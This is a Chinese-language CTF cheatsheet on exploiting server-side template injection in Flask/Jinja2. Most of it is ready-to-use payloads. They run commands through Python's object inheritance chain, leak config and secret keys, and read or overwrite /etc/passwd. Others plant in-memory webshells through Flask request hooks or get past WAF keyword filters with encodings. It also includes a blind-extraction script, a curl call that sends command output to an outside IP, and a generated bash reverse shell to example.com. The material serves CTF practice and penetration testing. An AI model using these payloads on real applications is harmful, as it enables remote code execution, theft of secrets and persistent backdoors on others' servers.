【CTF】Flask SSTI姿势与手法总结 Cheatsheet速查表
字数 1602 2025-08-22 12:23:36

Flask SSTI漏洞利用全面指南

背景介绍

SSTI(Server-Side Template Injection,服务端模板注入)发生在MVC框架的view层。当服务端接收用户输入并将其作为Web应用模板内容的一部分时,如果在目标编译渲染过程中执行了用户插入的恶意内容,就会导致敏感信息泄露、代码执行、GetShell等问题。

基本利用流程

继承链流程

通过访问Python内部属性,获取可以执行命令的库和函数:

  1. 获取实例对象的类
  2. 获取该类的祖先类object
  3. 获取object的子类
  4. 选取__init__为函数的类
  5. 获取其__globals__属性的__builtins__
  6. 使用内置的类执行代码或导包后执行命令

Python内部关键属性

  • __class__ - 返回一个实例所属的类
  • __mro__ - 查看类继承的所有父类,直到object
  • __subclasses__() - 获取一个类的子类,返回列表
  • __bases__ - 返回一个类直接所继承的类(元组形式)
  • __init__ - 类实例创建之后调用,对当前对象的实例进行初始化
  • __globals__ - 返回当前空间下能使用的模块、方法和变量的字典
  • __getattribute__ - 当类被调用时无条件进入此函数
  • __getattr__ - 当对象中不存在的属性被调用时触发
  • __dict__ - 返回所有属性,包括属性和方法
  • __builtins__ - 包含当前所有导入的内建函数

获取object类

Python的object类是所有类的基类,可以通过以下方式访问:

使用__mro__

().__class__.__mro__[1]
{}.__class__.__mro__[1]
[].__class__.__mro__[1]
''.__class__.__mro__[1]  # python3
''.__class__.__mro__[2]  # python2

使用__base__

().__class__.__base__
{}.__class__.__base__
[].__class__.__base__
''.__class__.__base__  # python3
''.__class__.__base__.__base__  # python2

使用__bases__

().__class__.__bases__[0]
{}.__class__.__bases__[0]
[].__class__.__bases__[0]
''.__class__.__bases__[0]  # python3

获取子类列表

通过object类的__subclasses__()方法获取所有子类列表:

().__class__.__bases__[0].__subclasses__()

查找可用的类(不带wrapper的__init__函数):

l = len([].__class__.__mro__[1].__subclasses__())
for i in range(l):
    if 'wrapper' not in str([].__class__.__mro__[1].__subclasses__()[i].__init__):
        print(i, [].__class__.__mro__[1].__subclasses__()[i])

RCE常见利用方式

使用__builtins__

[].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')
[].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()
[].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__['__builtins__']['__import__']('platform').popen('whoami').read()

使用linecache

[].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__['linecache'].__dict__['os'].system('whoami')
[].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__['linecache'].__dict__['sys'].modules['os'].system('whoami')
[].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__['linecache'].__dict__['__builtins__']['__import__']('os').system('ls')

使用sys

[].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__['sys'].modules['os'].system('whoami')

信息泄露

泄漏环境变量和配置

{{config}}
{{self.__dict__}}
{{url_for.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}
{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}
{{self}}  <TemplateReference None>
{{self.__dict__._TemplateReference__context.config}}
{{self.__dict__._TemplateReference__context.lipsum.__globals__.__builtins__.open("/flag").read()}}

文件操作

文件读取(Python2)

{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()}}
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()}}

文件读取(Python3)

{{''.__class__.__mro__[1].__subclasses__()[80].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()}}

文件写入(Python2)

{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd','w').write('test')}}
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd','w').write('test')}}
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['open']('/etc/passwd','w').write('test')}}

内存马技术

add_url_rule

{{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}

before_request_funcs

{{url_for.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda+:__import__('os').popen('dir').read()")}}

after_request_funcs

{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}

error_handler_spec

{{url_for.__globals__['__builtins__']["exec"]("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd')).read()")}}

WAF绕过技术

盲注技术

{%for char in get_env(name="SECRET_KEY")%}
{%if char is matching('') %}1
{%else%}0
{%endif%}
{%endfor%}

示例脚本:

import string
import time
import requests

url = "https://ip:port/"
s = string.printable

def ssti(re):
    payload = """text={%for%20char%20in%20get_env(name="SECRET_KEY")%}{%if%20char%20is%20matching('str')%20%}1{%else%}0{%endif%}{%endfor%}""".replace("str", re)
    headers = {
        "Content-Type": "application/x-www-form-urlencoded"
    }
    result = requests.post(url, data=payload, headers=headers, verify=False).text
    if "1" in result:
        print(re, result)
        return re
    return ""

for i in s:
    time.sleep(0.5)
    ssti(i)

Jinja2过滤器利用

attr过滤器

''|attr('__class__')  # 等价于 ''.__class__

format过滤器

"%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)=='__class__'

first/last/random过滤器

|last()  # 等价于 [-1]
|first()  # 等价于 [0]
|random()  # 随机选择

join过滤器

{{[1,2,3]|join('|')}}  # 输出: 1|2|3
{{[1,2,3]|join}}  # 输出: 123

lower过滤器

""["__CLASS__"|lower]

replace/reverse过滤器

'__claee__'|replace('ee','ss')
'__ssalc__'|reverse

string过滤器

().__class__|string  # 输出: <class 'tuple'>
(().__class__|string)[0]  # 输出: <
select()|select|string  # 输出: <generator object select_or_reject at 0x0000022717FF33C0>

关键词过滤绕过

字符串拼接

{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__buil'+'tins__']['__imp'+'ort__']('o'+'s').popen('who'+'ami').read()}}

引号分割

{{''['__class__'].__mro__[1].__subclasses__()[139].__init__.__globals__['__bui''ltins__']['__impo''rt__']('o''s').popen('who''ami').read()}}

__getattribute__方法

''.__getattribute__('__class__')

切片操作

"__ssalc__"[::-1]  # 反转字符串

编码绕过

Base64(Python2)

{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['X19pbXBvcnRfXw=='.decode('base64')]('os').popen('whoami').read()}}

Unicode编码

{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f']('os').popen('whoami').read()}}

16进制编码

{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('os').popen('whoami').read()}}

8进制编码

{{''['\137\137\143\154\141\163\163\137\137'].__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\137\137\151\155\160\157\162\164\137\137']('os').popen('whoami').read()}}

format格式化

"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)

chr函数

{% set chr=url_for.__globals__['__builtins__'].chr %}
{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}

~操作符

{%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}

大小写转换

''['__CLASS__'.lower()]

中括号[]过滤绕过

列表方法

list.__getitem__(0)
list.pop(0)

字典方法

dict.__getitem__('__builtins__')
dict.pop('__builtins__')
dict.get('__builtins__')
dict.setdefault('__builtins__')

示例

{{''.__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(139).__init__.__globals__.__getitem__('__builtins__').__getitem__('__import__')('os').popen('whoami').read()}}
{{''.__class__.__mro__.pop(1).__subclasses__().pop(139).__init__.__globals__.__getitem__('__builtins__').__getitem__('__import__')('os').popen('whoami').read()}}

引号过滤绕过

使用request对象

{{[].__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__(request.args.v1).popen(request.values.v2).read()}}&v1=os&v2=whoami

使用chr函数

{% set chr=().__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.chr%}{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__(chr(111)%2Bchr(115)).popen(chr(119)%2Bchr(104)%2Bchr(111)%2Bchr(97)%2Bchr(109)%2Bchr(105)).read()}}

点号.过滤绕过

等价于__getattribute__

''.__getattribute__('__class__')

或者使用中括号:

{{''['__class__']['__mro__'][1]['__subclasses__']()[139]['__init__']['__globals__']['__builtins__']['eval'](request.args.v1)}}

或者使用|attr过滤器:

{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(139)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("whoami").read()')}}

下划线_过滤绕过

{{''[request.args.v1][request.args.v2][1][request.args.v3]()[139][request.args.v4][request.args.v5][request.args.v6][request.args.v7](request.args.v8)}}&v1=__class__&v2=__mro__&v3=__subclasses__&v4=__init__&v5=__globals__&v6=__builtins__&v7=eval&v8=__import__("os").popen("whoami").read()

双花括号{{}}过滤绕过

使用if语句

{% if ''.__class__.__base__.__subclasses__()[139].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("curl http://xxx.xxx.xxx.xxx:12345/?i=`whoami`").read()') %}1{% endif %}

使用print语句

{% print(''.__class__.__base__.__subclasses__()[139].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')) %}

长度限制绕过

{{url_for.__globals__[request.args.a]}}
{{lipsum.__globals__.os[request.args.a]}}

使用set语句更新config

{{config}}
{%set x=config.update(l=lipsum)%}
{%set x=config.update(u=config.update)%}
{%set x=config.u(g=request.args.a)%}&a=__globals__
{%set x=config.u(o=lipsum[config.g].os)%}
{%set x=config.u(f=config.l[config.g])%}
{{config.f.os.popen('cat /f*').read()}}

自动化工具

推荐使用Fenjing工具进行自动化绕过:

fenjing webui
fenjing scan --url 'http://xxxx:xxx'

示例Python脚本:

from fenjing import exec_cmd_payload, config_payload
import logging
logging.basicConfig(level = logging.INFO)

def waf(s: str):
    blacklist = [
        "config", "self", "g", "os", "class", "length", "mro", "base", "lipsum",
        "[", '"', "'", "_", ".", "+", "~", "{{",
        "0", "1", "2", "3", "4", "5", "6", "7", "8", "9",
        "0","1","2","3","4","5","6","7","8","9"
    ]
    return all(word in s for word in blacklist)

if __name__ == "__main__":
    shell_payload, _ = exec_cmd_payload(waf, "bash -c \"bash -i >& /dev/tcp/example.com/3456 0>&1\"")
    config_payload = config_payload(waf)

    print(f"{shell_payload=}")
    print(f"{config_payload=}")

总结

Flask SSTI漏洞利用的关键在于理解Python的对象继承链和属性访问机制,以及Jinja2模板引擎的特性。通过灵活运用各种绕过技术,可以在不同的WAF防护场景下实现代码执行。在实际渗透测试中,建议先手动测试基本利用方式,遇到防护时再逐步尝试各种绕过技术,最后可以考虑使用自动化工具提高效率。

Flask SSTI漏洞利用全面指南 背景介绍 SSTI(Server-Side Template Injection,服务端模板注入)发生在MVC框架的view层。当服务端接收用户输入并将其作为Web应用模板内容的一部分时,如果在目标编译渲染过程中执行了用户插入的恶意内容,就会导致敏感信息泄露、代码执行、GetShell等问题。 基本利用流程 继承链流程 通过访问Python内部属性,获取可以执行命令的库和函数: 获取实例对象的类 获取该类的祖先类object 获取object的子类 选取 __init__ 为函数的类 获取其 __globals__ 属性的 __builtins__ 使用内置的类执行代码或导包后执行命令 Python内部关键属性 __class__ - 返回一个实例所属的类 __mro__ - 查看类继承的所有父类,直到object __subclasses__() - 获取一个类的子类,返回列表 __bases__ - 返回一个类直接所继承的类(元组形式) __init__ - 类实例创建之后调用,对当前对象的实例进行初始化 __globals__ - 返回当前空间下能使用的模块、方法和变量的字典 __getattribute__ - 当类被调用时无条件进入此函数 __getattr__ - 当对象中不存在的属性被调用时触发 __dict__ - 返回所有属性,包括属性和方法 __builtins__ - 包含当前所有导入的内建函数 获取object类 Python的object类是所有类的基类,可以通过以下方式访问: 使用 __mro__ 使用 __base__ 使用 __bases__ 获取子类列表 通过object类的 __subclasses__() 方法获取所有子类列表: 查找可用的类(不带wrapper的 __init__ 函数): RCE常见利用方式 使用 __builtins__ 使用 linecache 使用 sys 信息泄露 泄漏环境变量和配置 文件操作 文件读取(Python2) 文件读取(Python3) 文件写入(Python2) 内存马技术 add_ url_ rule before_ request_ funcs after_ request_ funcs error_ handler_ spec WAF绕过技术 盲注技术 示例脚本: Jinja2过滤器利用 attr过滤器 format过滤器 first/last/random过滤器 join过滤器 lower过滤器 replace/reverse过滤器 string过滤器 关键词过滤绕过 字符串拼接 引号分割 __getattribute__ 方法 切片操作 编码绕过 Base64(Python2) Unicode编码 16进制编码 8进制编码 format格式化 chr函数 ~操作符 大小写转换 中括号 [] 过滤绕过 列表方法 字典方法 示例 引号过滤绕过 使用request对象 使用chr函数 点号 . 过滤绕过 等价于 __getattribute__ : 或者使用中括号: 或者使用 |attr 过滤器: 下划线 _ 过滤绕过 双花括号 {{}} 过滤绕过 使用if语句 使用print语句 长度限制绕过 使用set语句更新config 自动化工具 推荐使用Fenjing工具进行自动化绕过: 示例Python脚本: 总结 Flask SSTI漏洞利用的关键在于理解Python的对象继承链和属性访问机制,以及Jinja2模板引擎的特性。通过灵活运用各种绕过技术,可以在不同的WAF防护场景下实现代码执行。在实际渗透测试中,建议先手动测试基本利用方式,遇到防护时再逐步尝试各种绕过技术,最后可以考虑使用自动化工具提高效率。